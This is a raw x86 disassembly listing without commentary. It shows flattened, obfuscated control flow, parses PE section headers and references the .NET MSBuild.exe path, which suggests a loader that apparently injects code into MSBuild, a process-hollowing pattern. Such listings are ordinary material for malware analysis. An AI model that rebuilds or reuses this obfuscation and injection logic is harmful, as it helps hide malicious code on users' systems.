sub edx, 1
add edx, 0x16f9ab5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc023391f
mov ecx, 0x7f05bdf2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x100109fd
mov dword [ebp - 0x164], 0xc9680437
jmp 0x100109fd
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x164], 0xc9b20082
jmp 0x100109fd
mov dword [ebp - 0x164], 0xf36536d
jmp 0x100109fd
mov dword [ebp - 0x164], 0xeae82183
jmp 0x100109fd
mov dword [ebp - 0x164], 0xb379c36c
jmp 0x100109fd
mov dword [ebp - 0x164], 0x697851ce
jmp 0x100109fd
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x144]
mov byte [eax], cl
mov eax, dword [ebp - 0x140]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x9b774ab3
jmp 0x100109fd
mov dword [ebp - 0x164], 0x57cf9536
jmp 0x100109fd
mov dword [ebp - 0x164], 0xc60ab8c1
jmp 0x100109fd
mov dword [ebp - 0x164], 0x72a8ef08
jmp 0x100109fd
mov dword [ebp - 0x164], 0x51b04a85
jmp 0x100109fd
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x68]
add ecx, eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x128]
mov edx, dword [edx]
mov esi, dword [ebp - 0x118]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x20eec374
sub eax, edx
add eax, 0x20eec374
add ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x6cddda15
jmp 0x100109fd
mov dword [ebp - 0x164], 0xc89afb69
jmp 0x100109fd
mov dword [ebp - 0x164], 0xee8f25fb
jmp 0x100109fd
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x164], 0x6c821e2d
jmp 0x100109fd
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x164], 0x6849917c
jmp 0x100109fd
jmp 0x10008847